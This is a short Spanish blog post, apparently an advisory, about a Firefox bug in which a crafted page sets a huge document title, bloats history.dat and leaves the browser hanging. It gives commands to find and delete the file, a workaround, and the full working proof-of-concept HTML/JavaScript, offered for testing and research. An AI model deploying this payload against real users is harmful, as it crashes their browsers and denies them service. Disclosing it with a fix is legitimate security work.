Fallo en Firefox
Recientemente ha sido detectado(y aprovechado) un fallo en mozillafirefox. Se trata en insertar un pequeño codigo javascript en una pagina web cualquiera, este script provoca un crecimiento desmesurado del archivo history.dat, que es donde firefox guarda el historico de visitas.
Al reiniciar firefox, este se queda “colgado”, y seguira asi a no ser que el fichero history.dat sea borrado.
Este fallo solo afecta al navegador firefox(en cualquiera de sus versiones y para cualquiera de sus plataformas), mas no a otros basado en mozilla (al menos no en pruebas hechas en galeon y epiphany).
Para solucionar este problema los usuarios de linux:
locate history.dat | grep home | grep mozilla
y luego borren esos archivos con
rm <nombre fichero>
A continuacion, incluyo el script por motivos de pruebas e investigacion x cualquier interesado:
<html><head> <title> titulo </title> <script type=”text/javascript”>
function ex() {
var buffer = “”;
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
Para los que no entiendan javascript, lo que hace este programa es crear una cadena de 5000*500 caracteres y eso lo pone como titulo de la pagina,
lo cual luego produce un desbordamiento de buffer, en firefox que no soporta cadenas tan largas cuando quiere usar la informacion del historico.
PD: Una posible solucion es desactivar el registro historico de paginas visitadas indicando cero en el numero de dias que se guarda el historial.